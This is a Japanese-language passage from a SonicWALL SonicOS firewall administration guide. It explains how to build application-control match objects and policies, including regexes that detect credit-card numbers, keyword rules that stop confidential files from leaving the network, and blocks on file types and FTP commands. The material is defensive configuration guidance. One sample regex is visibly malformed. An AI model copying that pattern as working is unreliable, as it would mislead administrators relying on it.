ファイアウォール > 電子メールアドレス オブジェクト

SMTP クライアント ポリシーに使用する電子メール アドレス オブジェクトを作成できます。電子メール アドレス オブジェクトには、ユーザのリストまたはドメイン全体を指定できます。電子メール アドレス オブジェクトの詳細については、電子メール アドレス オブジェクトを参照してください。

電子メール アドレス オブジェクトの設定を行うには、以下の手順に従います。

1. 左側のナビゲーション ペインで、「ファイアウォール」を選択し、「電子メール アドレス オブジェクト」を選択します。

2. 「電子メール アドレス オブジェクト」画面で、「電子メール アドレス オブジェクトの作成」を選択します。

3. 「電子メール アドレス オブジェクト」ウィンドウで、わかりやすい電子メール アドレス オブジェクト名を入力します。

4. 「一致種別」で、「完全一致」または「部分一致」を選択します。入力した電子メール アドレスの任意の部分で照合を行う場合は「部分一致」を使用します。電子メール アドレスとの厳密な照合を行うには、「完全一致」を選択します。

5. 「内容」テキスト ボックスに照合する内容を入力し、「追加」を選択します。この手順を繰り返して、必要な要素をすべて追加します。

例えば、ドメインに対して照合を行うには、前の手順で「部分一致」を選択し、「内容」フィールドでドメイン名を @ に続けて入力します(例: @SonicWALL.com)。個々のユーザに対して照合を行うには、前の手順で「完全一致」を選択し、「内容」フィールドに完全な電子メール アドレスを入力します(例: jsmith@sonicwall.com)

または、「ファイルからロード」を選択して、テキスト ファイルから要素のリストをインポートすることができます。ファイル内の各要素は、1 行に 1 つずつ記述されている必要があります。

ユーザのリストを含む電子メール アドレス オブジェクトを定義することで、アプリケーション制御を使用してグループをシミュレートできます。

6. OK」を選択します。

アプリケーション制御設定の確認

ポリシー設定を確認するには、ポリシーに一致するトラフィックを送信します。Wireshark などのネットワーク プロトコル アナライザを使用すると、パケットを表示できます。Wireshark の使用法については、Wireshark を参照してください。

包含されるユーザとグループおよび除外されるユーザとグループの両方についてテストしてください。さらに、設定したスケジュールに従ってテストを実行して、ポリシーが意図されたとおりに動作することを確認します。SonicOS ユーザ インターフェースの「ログ > 表示」画面で、ログ エントリをチェックします。

「ファイアウォール > アプリケーション ルール」ページで各ポリシーの上にマウス カーソルを移動すると、ツール チップが表示されます。ツール チップには、そのポリシーの一致オブジェクトと動作の詳細が表示されます。また、ページ下部には、定義された、そして有効なポリシーの数、および、許可されるポリシーの最大数が表示されます。

便利なツール

このセクションでは、アプリケーション制御を最大限に利用するための 2 つのソフトウェア ツールについて説明します。次のツールについて説明します。

Wireshark

16 進エディタ

Wireshark

Wireshark は、アプリケーションからネットワーク上に送出されるパケットをキャプチャするネットワーク プロトコル アナライザです。パケットをチェックすることで、アプリケーションの一意な識別子を調べることができます。 この情報を基に、アプリケーション ルール ポリシーで使用する一致オブジェクトを作成します。

Wireshark は、以下のサイトから無料で入手できます。http://www.wireshark.org

次に示すパケット キャプチャ手順で、ウェブ ブラウザの一意な識別子またはシグネチャを調べる手順を示します。

1. Wireshark で、「Capture > Interfaces」を選択して、ローカル ネットワーク インターフェースを表示します。

2. 「Capture Interfaces」ダイアログ ボックスで、「Capture」を選択してメイン ネットワーク インターフェース上でのキャプチャを開始します。

PktCapture1.jpg

 

PktCapture2.jpg

 

キャプチャを開始したらブラウザを起動し、その後、キャプチャを停止します。この例では、Firefoxを起動しています。

3. 上部ペインのキャプチャされた出力の中でHTTP GETコマンドを見つけて選択して、そのソースを中央ペインに表示します。ソース コード内で、User-Agentで始まる行を見つけます。

PktCapture3.jpg

 

4. 右側にスクロールしてブラウザの一意な識別子を調べます。この例では、Firefox/1.5.0.7 です。

PktCapture4.jpg

 

5. 「一致オブジェクトの設定」画面の「内容」テキスト ボックスにこの識別子を入力し、「OK」を選択して、ポリシー内で使用する一致オブジェクトを作成します。

16 進エディタ

16 進エディタを使用すると、ファイルまたはグラフィック イメージを 16 進形式で表示できます。16 進エディタの 1 つに、Christian Maas 氏によって開発されたXVI32があります。 この 16 進エディタは、次の URL から無料で入手できます。

http://www.chmaas.handshake.de/delphi/freeware/xvi32/xvi32.htm

例えば、機密扱いの社内向け文書のすべてに特定のグラフィックが含まれている場合は、16 進エディタを使用してグラフィックに固有の識別子を取得し、その固有の 16 進文字列を使用して一致オブジェクトを作成します。ポリシー内でこの一致オブジェクトを参照することで、このグラフィックにコンテンツが一致するファイルの転送を遮断できます。

ここでは、SonicWALL のグラフィックを例に使用して、手順を説明します。

sonicwall_logo.jpg

 

1. XVI32を起動し、「File > Open」を選択してグラフィック イメージ GIF ファイルを開きます。

XVI32_openfile.jpg

 

2. 左ペインで、「Edit > Block <n> chars…」を選択します。次に、「decimal」オプションを選択し、表示されるスペースに「50」と入力して、最初の 50 個の 16 進文字ブロックをマークします。これにより、ファイルの最初の 50 文字がマークされます。 個別一致オブジェクトで使用する一意の拇印を生成するには、これで十分です。

または、次の手順に従ってブロックをマークします。

– 最初の文字 (#0) を選択します。

Ctrl+Bを押します。

– 位置#49 の文字を選択します。

Ctrl+Bを押します。

位置#49 の文字を見つけるには、右ペイン (テキスト ペイン) 内の文字を選択し、左下隅に表示される情報から 10 進アドレスを確認します。選択する文字を変えながら、「Adr. dec:49Ctrl+B を押してブロックをマークする前に、ペインの対応する位置を選択する必要があります。

ブロックをマークすると、フォントの色が赤に変わります。文字ブロックのマークを解除するには、Ctrl+Uを押します。

XVI32_markedBlock.jpg

 

3. ブロックをマークしたら、「Edit > Clipboard > Copy As Hex String」を選択します。

4. Textpad またはその他のテキスト エディタで、「Ctrl+V」を押して選択内容を貼り付け、Enterを押して行を改行します。

この中間の手順は、16 進文字列からスペースを削除するために必要です。

5. Textpad で、「Search > Replace」を選択して「Replace」ダイアログ ボックスを表示します。「Replace」ダイアログ ボックスで、「Find」テキスト ボックスにスペースを入力し、「Replace」テキスト ボックスは空白のままにしておきます。「Replace All」を選択します。

これで、文字間にスペースを含まない 50 個の 16 進文字から構成される 16 進文字列が得られます。

6. 16 進文字列をダブルクリックして選択し、Ctrl+Cを押してクリップボードにコピーします。

7. SonicOS ユーザ インターフェースで、「ファイアウォール > 一致オブジェクト」を選択し、「一致オブジェクトの作成」を選択します。

8. 「一致オブジェクトの設定」ウィンドウで、わかりやすいオブジェクト名を「オブジェクト名」テキスト ボックスに入力します。

9. 「一致オブジェクト種別」ドロップダウン リストで、「個別オブジェクト」を選択します。

10. 「入力形式」で、「16 進数」を選択します。

11. 「内容」テキスト ボックスで、Ctrl+V を押してクリップボードの内容を貼り付けます。

12. 追加」を選択します。

OK」を選択します。

これで、イメージの一意な識別子を含んだ一致オブジェクトが作成されました。次は、この一致オブジェクトと一致するイメージを含むトラフィックを遮断したりログに記録したりするアプリケーション ルール ポリシーを作成します。ポリシーの作成については、アプリケーション ルール ポリシーの設定を参照してください。

 

アプリケーション制御の使用事例

アプリケーション制御は、いくつかのタイプのアクセス制御を効率的に処理する機能を提供します。このセクションでは、以下の使用事例を紹介します。

一致オブジェクトでの正規表現の作成

ポリシー ベースのアプリケーション制御

コンプライアンスの施行

サーバの保護

ホストされる電子メール環境

電子メール制御

ウェブ ブラウザ制御

HTTP POST 制御

禁止するファイル タイプ制御

ActiveX コントロール

FTP 制御

帯域幅管理

DPI をバイパスする

個別のシグネチャ

リバース シェル悪用の防御

 

一致オブジェクトでの正規表現の作成

定義済みの正規表現を設定時に選択できます。また、個別正規表現を設定することもできます。この使用事例では、クレジットカード番号の Regex 一致オブジェクトの作成方法を説明しつつ、いくつかの一般的なエラーについても示します。

例えば、次の非効率的で少し間違った構文を使用して、クレジットカード番号に対する Regex 一致オブジェクトを作成するとします。

[1-9][0-9]{3} ?[0-9]{4} ?[0-9]{4} ?[0-9]{4}

 

ユーザはこのオブジェクトを使用してポリシーを作成しようとします。ユーザが [OK] をクリックすると、Dell SonicWALL セキュリティ装置には "お待ちください…" というメッセージが表示されますが、管理セッションが非常に長時間無反応になり、結果的に正規表現が拒否されることがあります。

このような動作の原因は、個別オブジェクトとファイル内容一致オブジェクトでは、正規表現の前に暗黙的にドットとアスタリスク (.*) が付くことです。ドットは、'\n' を除く 256 文字の ASCII 文字すべてと一致します。このことや、使用されている一致オブジェクト種別や、正規表現の性質が相まって、制御プレーンが必要なデータ構造をコンパイルするのに長い時間がかかります。

解決策は、正規表現の前に '\D' を付けることです。これは、クレジットカード番号の前に数字以外の文字が付き、実際に正規表現がより正確になるということを意味します。

さらに、上記の正規表現は、対象のクレジットカード番号を必ずしも正確に表していません。現在の形の正規表現では、1234 12341234 1234 など、いくつかの誤検出に一致する可能性があります。より正確な表現は以下のようになります。

\D[1-9][0-9]{3} [0-9]{4} [0-9]{4} [0-9]{4}

 

または

\D[1-9][0-9]{3}[0-9]{4}[0-9]{4}[0-9]{4}

 

より簡潔な表現は、それぞれ

\D\z\d{3}( \d{4}){3}

 

または

\D\z\d{3}(\d{4})[3}

 

となります。

これらは、1 つの一致オブジェクトの中に 2 つの正規表現として記述することも、以下のように 1 つの正規表現に圧縮することもできます。

\D\z\d{3}(( \d{4}){3}|(\d{12}))

 

次の正規表現を使用して、数字を '-' で区切ってクレジットカード番号をキャプチャすることもできます。

\D\z\d{3}(( \d{4}){3}|(-\d{4}){3}|(\d{12}))

 

先行する '\D' は、これらすべての正規表現に含める必要があります。

ポリシー ベースのアプリケーション制御

Dell SonicWALL のアプリケーション シグネチャ データベースはアプリケーション制御機能の一部であり、ポリシー設定とそれらに関連する動作に対するきめ細かな制御を可能にします。これらのシグネチャ データベースは、アプリケーションの脆弱性だけでなくワーム、トロイの木馬、ピアツーピア転送、スパイウェア、裏口侵入企図からもユーザを保護するために使用されます。また、Dell SonicWALL の再組み立て不要の精密パケット検査エンジンで使用されている広範なシグネチャ言語により、アプリケーションおよびプロトコルで新たに見つかった脆弱性に対する事前対処的な防御を実現します。

アプリケーション制御ポリシーを作成するには、最初にアプリケーション シグネチャ リスト、またはアプリケーション シグネチャ種別リスト タイプの一致オブジェクトを作成します。これら 2 つのタイプにより、全般的なアプリケーション種別または個々のアプリケーション種別のいずれかを選択できます。

以下に、LimeWire および Napster のピアツーピア共有アプリケーションを対象とした一致オブジェクトの例を示します。

AppObj_signature_p2p.jpg

 

シグネチャ ベースの一致オブジェクトを作成したら、この一致オブジェクトを使用するアプリケーション制御コンテンツ タイプの新しいアプリケーション ルール ポリシーを作成します。以下の例に示すアプリケーション制御ポリシーは、先ほど作成したばかりの“Napster/LimeWire P2P"一致オブジェクトを使用して、すべての Napster および LimeWire トラフィックを破棄するものです。

AppPolicy_DynamicContent.jpg

 

アプリケーション シグネチャ ベース ポリシーのログ

他の一致オブジェクト ポリシーのタイプと同様、アプリケーション コンテンツ ポリシーでもログを有効にできます。既定では、これらのログが標準形式で表示されます。 ここでは、警告/動作を開始したアプリケーション制御ポリシーが表示されています。ログ イベントに関する詳細を参照するには、そのポリシーに対する「アプリケーション制御ポリシーの設定」画面の、「アプリケーション制御メッセージ形式でログする」を選択します。

Application_Control00175.jpg

 

コンプライアンスの施行

多くの企業や組織では、送信ファイル転送に関するポリシーを確実に順守することが求められています。アプリケーション制御は、HTTP、FTP、POP3、および SMTP の各コンテキストにおいてこの機能を提供します。これにより、企業は、HIPAA、SOX、および PCI などの規制要件を満たすことができます。

この目的のポリシーを設定する場合、「方向 > 基本 > 送信」を選択して、明確にファイル転送制限を送信トラフィックに適用できます。また、「方向 > 詳細設定」を選択し、ファイル転送を防止するゾーンを指定することもできます。例えば、LAN から WAN や LAN から DMZ などのゾーンのほか、自分で定義したゾーンを指定できます。

サーバの保護

通常、サーバは、多くの信頼されないクライアントからアクセスされます。これらの貴重なリソースの最善の保護手段として、複数の防御線を設置する必要があります。ゲートウェイにアプリケーション制御を導入することで、サーバを保護するためのポリシーを設定できます。例えば、すべてのput FTPコマンドを遮断するポリシーを作成して、ユーザがサーバにファイルを書き込むことを禁止できます (FTP コマンドの遮断を参照してください)。サーバ自体が読み取り専用と設定されている場合であっても、このような対策を施すことで、ファイアウォール管理者によって制御されるセキュリティが追加されます。ミス、パッチの副作用、または悪意のある何者かによって設定が変更された場合でも、サーバは保護されます。アプリケーション制御を使用すると、HTTP、SMTP、POP3、および FTP を使用したサーバへのコンテンツのアップロードを効果的に制御できます。

サーバに影響を与えるポリシーの例として、ラックに設置されたサーバを使用して 3 つのレベルのサービスを顧客に提供する小規模の ISP があります。ゴールド レベルでは、顧客はウェブ サーバ、電子メール サーバ、および FTP サーバをホストできます。シルバー レベルでは、顧客はウェブ サーバと電子メール サーバをホストできます。ブロンズ レベルのホスティング パッケージでは、ウェブ サーバのみが許可されます。この ISP は、アプリケーション制御を使用してそれぞれの顧客に対してポリシーを作成することで、このような制限を実現できます。

ホストされる電子メール環境

ホストされる電子メール環境とは、ユーザのインターネット サービス プロバイダ (ISP) において電子メールが利用可能な環境です。通常、この環境の電子メール転送用プロトコルには POP3 が使用されます。多くの小規模企業のオーナは、このモデルを使用していて、電子メール添付ファイルだけでなく電子メール コンテンツも制御したいと考えています。ゲートウェイ上でアプリケーション制御を実行することで、SMTP ベースの電子メールに加えて POP3 ベースの電子メールを制御するためのソリューションが提供されます。

アプリケーション制御では HTTP もスキャンできるので、Yahoo や Hotmail などのサイトでホストされる電子メールにも有用です。HTTP を使用しているときに添付ファイルが遮断された場合、アプリケーション制御は遮断されたファイルの名前を示しません。また、アプリケーション制御を使用して、データベース サーバにアクセスするときに FTP を制御することもできます。

専用の SMTP ソリューションとしては、SonicWALL Email Security を利用できます。Email Security は、SMTP ベースの電子メールの制御用に多くの大企業で採用されていますが、POP3をサポートしていません。複数の電子メール プロトコルの制御用として、アプリケーション制御は優れたソリューションを提供します。

電子メール制御

アプリケーション制御は、特に包括的なポリシーが必要な場合に、特定のタイプの電子メール制御に効果を発揮します。例えば、特定の形式 (.exe など) の添付ファイルの送信をユーザごとまたはドメイン全体で禁止できます。このケースではファイル名の拡張子を照合するため、添付ファイルの送信前に拡張子を変更すると、フィルタを回避します。電子メール サーバを所有している場合は電子メール サーバ上でもこの方法で添付ファイルを防ぐことができます。所有していない場合は、アプリケーション制御がその機能を提供します。

ファイル内容から“社外秘"、“社内限定使用"、“機密"などに一致する文字列をスキャンする一致オブジェクトを作成して、機密データの転送に関する基本的な制御を実現できます。

また、特定のドメインまたはユーザとの間の電子メールの送受信を禁止するポリシーを作成することもできます。アプリケーション制御を使用すると、添付ファイルの数を制限することなく電子メール ファイル サイズを制限できます。アプリケーション制御では、MIME タイプに基づいてファイルを遮断できます。暗号化された SSL または TLS トラフィックは遮断できず、また、"暗号化されたファイルはすべて" 遮断できません。HTTPS を使っているサイトからの暗号化された電子メールを遮断するために、HTTPS セッションを開始する前に送信される証明書を照合する個別一致オブジェクトを作成できます。これは、暗号化される前の SSL セッションの一部です。それから、証明書を遮断する個別ポリシーを作成します。

アプリケーション制御では、電子メールのテキストベースの添付ファイルまたは1 レベル圧縮された添付ファイルをスキャンできますが、暗号化された添付ファイルはスキャンできません。次の表に、アプリケーション制御でキーワードをスキャンできるファイル形式を示します。他の形式については、ポリシー内で使用する前にテストする必要があります。

ファイル タイプ

一般的な拡張子

C ソース コード

c

C+ソース コード

cpp

カンマ区切り値

csv

HQX アーカイブ

hqx

HTML

htm

Lotus 1-2-3

wks

マイクロソフト Access

mdb

マイクロソフト Excel

xls

マイクロソフト PowerPoint

ppt

マイクロソフト Visio

vsd

マイクロソフト Visual Basic

vbp

マイクロソフト Word

doc

マイクロソフト Works

wps

Portable Document Format

pdf

リッチ テキスト形式

rtf

SIT アーカイブ

sit

テキスト ファイル

txt

WordPerfect

wpd

XML

xml

Tar アーカイブ (“tarball")

tar

ZIP アーカイブ

zip、gzip

ウェブ ブラウザ制御

アプリケーション制御を使用すると、望ましくないブラウザからウェブ サーバを保護することもできます。アプリケーション制御には、Netscape、MSIE、Firefox、Safari、および Chrome用の一致オブジェクト タイプが用意されています。これらのタイプのいずれかを使用して一致オブジェクトを定義し、ポリシー内でオブジェクトを参照することで、該当するブラウザを遮断できます。

また、HTTP ユーザ エージェント 一致オブジェクト タイプを使用すると、ブラウザ バージョン情報にアクセスできます。例えば、バージョンが古いブラウザは、どのブラウザであってもセキュリティ上の問題がある可能性があります。アプリケーション制御を使用すると、問題があるブラウザ (Internet Explorer 5.0 など) からのアクセスを禁止するポリシーを作成できます。さらに、不一致検索を使用して、目的のブラウザ以外のすべてのブラウザを除外することもできます。例えば、インターネット エクスプローラのバージョン 5 には欠陥があり、バージョン 7 についてはまだテストしていないという理由で、インターネット エクスプローラ バージョン 6 のみを許可するように設定できます。これを実現するには、Wireshark のようなネットワーク プロトコル アナライザを使用して、IEv6 のウェブ ブラウザ識別子 (MSIE 6.0) を調べます。次に、コンテンツに“MSIE 6.0"を指定し、不一致検索を有効に設定した HTTP ユーザ エージェント タイプの一致オブジェクトを作成します。

この一致オブジェクトをポリシー内で使用すると、MSIE 6.0 以外のブラウザを遮断できます。Wireshark を使用してウェブ ブラウザ識別子を調べる方法については、Wiresharkを参照してください。不一致検索については、不一致検索を参照してください。

ウェブ ブラウザ アクセスの制御に関するもう 1 つの使用事例は、外国からのディスカウント商品を販売する小規模の e コマース サイトがあります。サプライヤとの契約において輸入元の国に在住するユーザには販売できないことが規定されている場合、主要なウェブ ブラウザの国内バージョンからのアクセスを遮断するようにアプリケーション制御を設定できます。

アプリケーション制御は、一般的な各種ブラウザの定義済み選択をサポートします。 さらに、個別一致オブジェクトとして他のブラウザを追加できます。ブラウザの遮断は、ブラウザから報告されるHTTP ユーザ エージェントに基づいて行われます。個別一致オブジェクトには、ブラウザを正確に識別するのに十分なコンテンツを含める必要があります。Wireshark またはその他のネットワーク プロトコル アナライザを使用すると、目的のブラウザの一意なシグネチャを取得できます。

HTTP POST 制御

HTTP POST メソッドを禁止することによって、読み取り専用の公開 HTTP サーバのセキュリティを強化できます。

最初に、メモ帳などのテキスト エディタを使用して、以下の HTML コードが含まれる Post.htm という名前の新しいドキュメントを作成します。このファイルをデスクトップなどの都合のいい場所に保存します。

<FORM action="http://www.yahoo.com/" method="post">

<p>Please enter your name:<input type="Text" name="FullName"></p>

<input type="submit" value="Submit"> <INPUT type="reset">

次に、Wireshark ネットワーク アナライザを開き、キャプチャを開始します。Wireshark の使用法については、Wireshark を参照してください。先ほど作成した Post.htm フォームをブラウザで開き、自分の名前を入力して、「Submit」を選択します。キャプチャを終了します。

Wireshark の「Edit > Find Packet」機能を使用して、'POST' という文字列を検索します。

HTTP_post_wireshark1.jpg

 

Wireshark は、要求されたデータが含まれる最初のフレームに移動します。次のような画面が表示されます。この画面は、HTTP POST メソッドが TCP ヘッダー情報の直後に送信されていること、および TCP ペイロード (HTTP アプリケーション層) の最初の 4 バイト (504f5354) で構成されていることを示しています。この情報を基に、HTTP POST メソッドを検出する個別一致オブジェクトを作成します。

HTTP_post_wireshark2.jpg

 

SonicOS 管理インターフェースで、「ファイアウォール > 一致オブジェクト」を選択し、「一致オブジェクトの作成」を選択します。次に示すような一致オブジェクトを作成します。この特定の一致オブジェクトでは、「設定を有効にする」機能を使用して、ペイロードの特定の部分を照合するオブジェクトを作成します。「オフセット」フィールドでは、ペイロード内のどのバイトから照合を開始するかを指定し、照合をより限定的にすることで誤検出を最小限にします。「深度」フィールドでは、どのバイトで照合を終了するかを指定します。「最小値」フィールドと「最大値」フィールドでは、最小ペイロード サイズと最大ペイロード サイズを指定できます。

AppObj_HTTP_post.jpg

 

次に、「ファイアウォール > アプリケーション ルール」を選択し、「ポリシーを追加する」を選択します。次に示すようなポリシーを作成します。

Policy_HTTP_Post.jpg

 

テストのために、前に作成した Post.htm ドキュメントをブラウザで開きます。自分の名前を入力し、「Submit」を選択します。今回は接続が遮断され、次に示すような警告がログに表示されるはずです。

Log_HTTP_Post.jpg

 

禁止するファイル タイプ制御

アプリケーション制御を使用して、危険なファイル タイプや禁止するファイル タイプ (exe、vbs、scr、dll、avi、mov など) がアップロードまたはダウンロードされないようにすることができます。

「ファイアウォール > 一致オブジェクト」に移動し、「一致オブジェクトの作成」を選択します。次に示すようなオブジェクトを作成します。

AppObj_forbidden_file_types.jpg

 

次に、「ファイアウォール > 動作オブジェクト」に移動し、「動作オブジェクトの作成」を選択します。次に示すような動作を作成します。

Action_forbidden_file_types.jpg

 

このオブジェクトと動作を使用するポリシーを作成するには、「ファイアウォール > アプリケーション ルール」に移動し、「ポリシーを追加する」を選択します。次に示すようなポリシーを作成します。

Policy_forbidden_file_types.jpg

 

このポリシーをテストするために、ウェブ ブラウザを開いて、一致オブジェクトで指定した任意のファイル タイプ (exe、vbs、scr) をダウンロードしてみます。次のような URL で試すことができます。

〈http://download.skype.com/SkypeSetup.exe〉

〈http://us.dl1.yimg.com/download.yahoo.com/dl/msgr8/us/msgr8us.exe〉

〈http://g.msn.com/8reen_us/EN/INSTALL_MSN_MESSENGER_DL.EXE〉

次に示すような警告が表示されます。

Log_forbidden_file_types.jpg

 

ActiveX コントロール

アプリケーション制御の最も有用な機能の 1 つは、異なるタイプの ActiveX または Flash ネットワーク トラフィックを識別する機能です。これにより、ゲームを遮断する一方で、ウィンドウズ アップデートを許可できます。アプリケーション制御を導入する前は、「セキュリティ サービス > コンテンツ フィルタ」を使用して ActiveX を遮断するように SonicOS を設定できましたが、この方法ではソフトウェア更新を含むすべての ActiveX コントロールが遮断されました。

アプリケーション制御では、HTML ソース内のクラス IDの値をスキャンすることで、この識別が可能になっています。ActiveX のそれぞれのタイプは独自のクラス ID を持ち、同一のアプリケーションであってもバージョンが異なればクラス ID も異なる場合があります。

次の表に、いくつかの ActiveX タイプとそのクラス ID を示します。

ActiveX タイプ

クラス ID

Apple Quicktime

02BF25D5-8C17-4B23-BC80-D3488ABDDC6B

Macromedia Flash v6、v7

D27CDB6E-AE6D-11cf-96B8-444553540000

Macromedia Shockwave

D27CDB6E-AE6D-11cf-96B8-444553540000

マイクロソフト ウィンドウズ Media Player v6.4

22d6f312-b0f6-11d0-94ab-0080c74c7e95

マイクロソフト ウィンドウズ Media Player v7~10

6BF52A52-394A-11d3-B153-00C04F79FAA6

Real Networks Real Player

CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA

Sun Java Web Start

5852F5ED-8BF4-11D4-A245-0080C6F74284

次のスクリーンショットは、Macromedia Shockwave のクラス ID を使用している ActiveX タイプの一致オブジェクトを示しています。この一致オブジェクトを使用するポリシーを作成することで、オンライン ゲームやその他の Shockwave ベースのコンテンツを遮断できます。

AppObj_ActiveX.jpg

 

これらの ActiveX コントロールのクラス ID は、インターネット上で参照できます。 また、ブラウザにソースを表示して調べることもできます。例えば、次のスクリーンショットのソース ファイルには、Macromedia Shockwave または Flash のクラス ID が含まれています。

ClassID_shockwave.jpg

 

FTP 制御

アプリケーション制御は、FTP コマンドとファイル内容一致オブジェクト タイプを使用して、FTP の制御チャンネル、FTP アップロードとダウンロードに対する制御を提供します。これらを使用することで、FTP の使用を効果的に制限できます。このセクションでは、以下の 2 つの使用事例を紹介します。

機密ファイルの FTP 送信の遮断

送信 UTF-8/UTF-16 エンコード ファイルの遮断

FTP コマンドの遮断

機密ファイルの FTP 送信の遮断

例えば、FTP による機密ファイルの送信を遮断するには、ファイル内のキーワードまたはパターンに基づいてポリシーを作成します。

最初に、ファイル内のキーワードに一致するファイル 内容タイプの一致オブジェクトを作成します。

必要に応じて、メッセージをクライアントに送信する、カスタマイズされた FTP 通知動作を作成します。

次に、この一致オブジェクトと動作を参照するポリシーを作成します。ファイル転送を遮断して接続をリセットすることだけを目的とする場合は、ポリシーを作成するときにリセット/破棄動作を選択します。

送信 UTF-8/UTF-16 エンコード ファイルの遮断

アプリケーション制御による Unicode UTF-8 および UTF-16 のネイティブ サポートにより、漢字やかな文字など、エンコードされたマルチバイト文字を英数字入力によって一致オブジェクトのコンテンツ キーワードとして入力することができます。アプリケーション制御は、ウェブ ページや電子メール アプリケーションに通常見られる UTF-8 エンコード コンテンツや、ウィンドウズ OS/マイクロソフト オフィス ベースのドキュメントに通常見られる UTF-16 エンコード コンテンツのキーワード マッチングをサポートしています。

独自 Unicode ファイルの送信ファイル転送の遮断は、他の機密ファイル転送の遮断と同じように処理されます。最初に、ファイル内の UTF-8 または UTF-16 でエンコードされたキーワードに一致する一致オブジェクトを作成することになります。次に、この一致オブジェクトを参照して一致するファイルの転送を遮断するポリシーを作成します。

次の例では、ファイル内容一致オブジェクト種別に対し、"機密文書" を意味する、UTF-16 でエンコードされた中国語のキーワードを使用しています。

AppObj_Chinese.jpg

 

次に、以下に示すように、この一致オブジェクトを参照するポリシーを作成します。このポリシーは、ファイル転送を遮断し、接続をリセットします。ログを有効にしているのは、UTF-16 でエンコードされたキーワードを含むファイルを転送しようとする試みをログに残すためです。

PolicyFTPFileControl_Chinese.jpg

 

接続のリセット/破棄の後には、ログ エントリが生成されます。以下に示すログ エントリの例には、アプリケーション制御の警告であることを示すメッセージのほか、ポリシー名とリセット/破棄 (Reset/Drop) というタイプのアクションが表示されています。

Log_UTF16.jpg

 

FTP コマンドの遮断

アプリケーション制御を使用して、putmput、rename_to、rename_from、rmdir、mkdir などのコマンドを遮断することにより、FTP サーバを読み取り専用に設定できます。この使用事例では、put コマンドのみを含んだ一致オブジェクトを示しますが、これらすべてのコマンドを同じ一致オブジェクトに含めることができます。

最初に、putコマンドに一致する一致オブジェクトを作成します。mputコマンドはputコマンドの変種なので、putコマンドに一致する一致オブジェクトはmputコマンドにも一致します。

必要に応じて、メッセージをクライアントに送信する、カスタマイズされた FTP 通知動作を作成します。以下のスクリーンショットに、カスタマイズされた動作が示されています。

Action_FTPread-only.jpg

 

次に、この一致オブジェクトと動作を参照するポリシーを作成します。putコマンドを遮断して接続をリセットすることだけを目的とする場合は、ポリシーを作成するときにリセット/破棄動作を選択します。

帯域幅管理

アプリケーション層帯域幅管理を使用すると、特定の種類のファイルを転送するために使用できるネットワーク帯域幅を制御できます。これにより、ネットワーク上の非生産的なトラフィックを抑制し、生産的なトラフィックを奨励できます。

例えば、FTP 上で MP3 ファイルをダウンロードするために使用される帯域幅を 400 Kbps 以下に制限することが可能です。MP3 ファイルをダウンロードしているユーザが 1 人であっても 100 人であっても、このポリシーによって合計帯域幅が 400 Kbps に制限されます。

帯域幅管理の設定については、ファイアウォール設定 > 帯域幅管理 を参照してください。

DPI をバイパスする

アクセスされるコンテンツが安全であることがわかっている場合、「DPI をバイパスする」動作を作成すると、ネットワークのパフォーマンスを向上させることができます。例えば、従業員がウェブ サーバ上の URL にアクセスすることで、HTTP 経由でストリーム配信される社内向けのビデオがこのケースに該当します。コンテンツは安全であることがわかっているため、このビデオへのすべてのアクセスに「DPI をバイパスする」動作を適用するアプリケーション制御ポリシーを作成できます。これにより、ビデオにアクセスする従業員向けに、高速なストリーミング速度と優れた表示品質を実現できます。

このポリシーは 2 つの手順で作成できます。最初に、「HTTP URI コンテンツ」一致オブジェクト種別を使用して、社内向けビデオ用の一致オブジェクトを作成します。

URI コンテンツ 一致オブジェクトの完全一致タイプおよび前方一致タイプには、必ず URL の先頭のスラッシュ (/) を含める必要があります。「コンテンツ」フィールドに「www.company.com」などのホスト ヘッダーを含める必要はありません。

次に、Corporate Video一致オブジェクトと「DPI をバイパスする」動作を使用するポリシーを作成します。

個別のシグネチャ

アプリケーション制御に定義済みのオブジェクトのタイプが用意されていないトラフィックを制御する場合は、パケットの任意の部分に一致する個別一致オブジェクトを作成できます。これにより、任意のネットワーク プロトコルに対して個別のシグネチャを作成できます。

例えば、HTTP GET 要求パケットに一致する個別のシグネチャを作成できます。ローカル エリア ネットワークからのウェブ閲覧を防ぐためにこれを使用することもあります。

HTTP GET パケットの一意な識別子を調べるには、Wireshark ネットワーク プロトコル アナライザを使用してパケット ヘッダーをチェックします。Wireshark の使用法の詳細については、Wireshark を参照してください。この例では、HTTP GET 要求 パケットをキャプチャします。任意のウェブ ブラウザを使用して HTTP GET 要求を生成できます。次の図に、Wireshark で HTTP GET 要求パケットを表示した画面を示します。

WiresharkGET.jpg

 

Wireshark の上部ペインで下にスクロールしてHTTP GETパケットを見つけ、その行を選択します。下部の 2 つのペインに対象のパケットが表示されます。中央ペインには SYN パケットのパケット ヘッダーが人間が読み取れる形式で表示されます。 実際のヘッダー バイトは、16 進形式で最下部のペインに表示されます。

中央ペインで、「Hypertext Transfer Protocol」セクションを展開してパケット ペイロードを表示し、アプリケーション制御で参照する識別子を選択します。この例では、目的の識別子は最初の 3 バイトに含まれる GET コマンドです。これを選択すると、下部ペイン内の対応するバイトが強調表示されます。

下部ペイン内で強調表示されたバイトのオフセットと深度を調べることができます。オフセットと深度は、アプリケーション制御で使用される用語です。オフセットは、パケット内で照合を開始するバイトを示します。 深度は、照合を終了する最後のバイトを示します。オフセットを使用することで、非常に限定的な照合を行い、誤検出を最小限にすることができます。オフセットと深度を計算するときは、パケット内の最初のバイトは (0 ではなく) 1 と数えられることに注意してください。オフセットと深度の計算には、16 進数ではなく 10 進数を使用します。個別一致オブジェクトに関連付けられるオフセットと深度は、パケット ペイロード (TCP または UDP ペイロードの開始位置) を起点として計算されます。この例では、オフセットが 1 (10 進)、深度が 3 です。

次に、この情報を使用する個別一致オブジェクトを作成します。

「一致オブジェクトの設定」ウィンドウで、わかりやすいオブジェクト名を入力し、「一致オブジェクト種別」ドロップダウン リストから「個別オブジェクト」を選択します。「設定を有効にする」チェック ボックスをオンにします。「オフセット」テキスト ボックスに、「1」(識別子の開始バイト) と入力します。「深度」テキスト ボックスに、「3」(識別子の終了バイト) と入力します。「ペイロード サイズ」は既定値のままにしておきます。「ペイロード サイズ」はパケット内のデータの量を示すために使用しますが、ここではパケット ヘッダーだけに注目します。

「入力形式」で、「16 進数」を選択します。「内容」テキスト ボックスに、Wireshark に表示されたバイト数 (474554) を入力します。474554。16 進コンテンツ内ではスペースを使用しないでください。

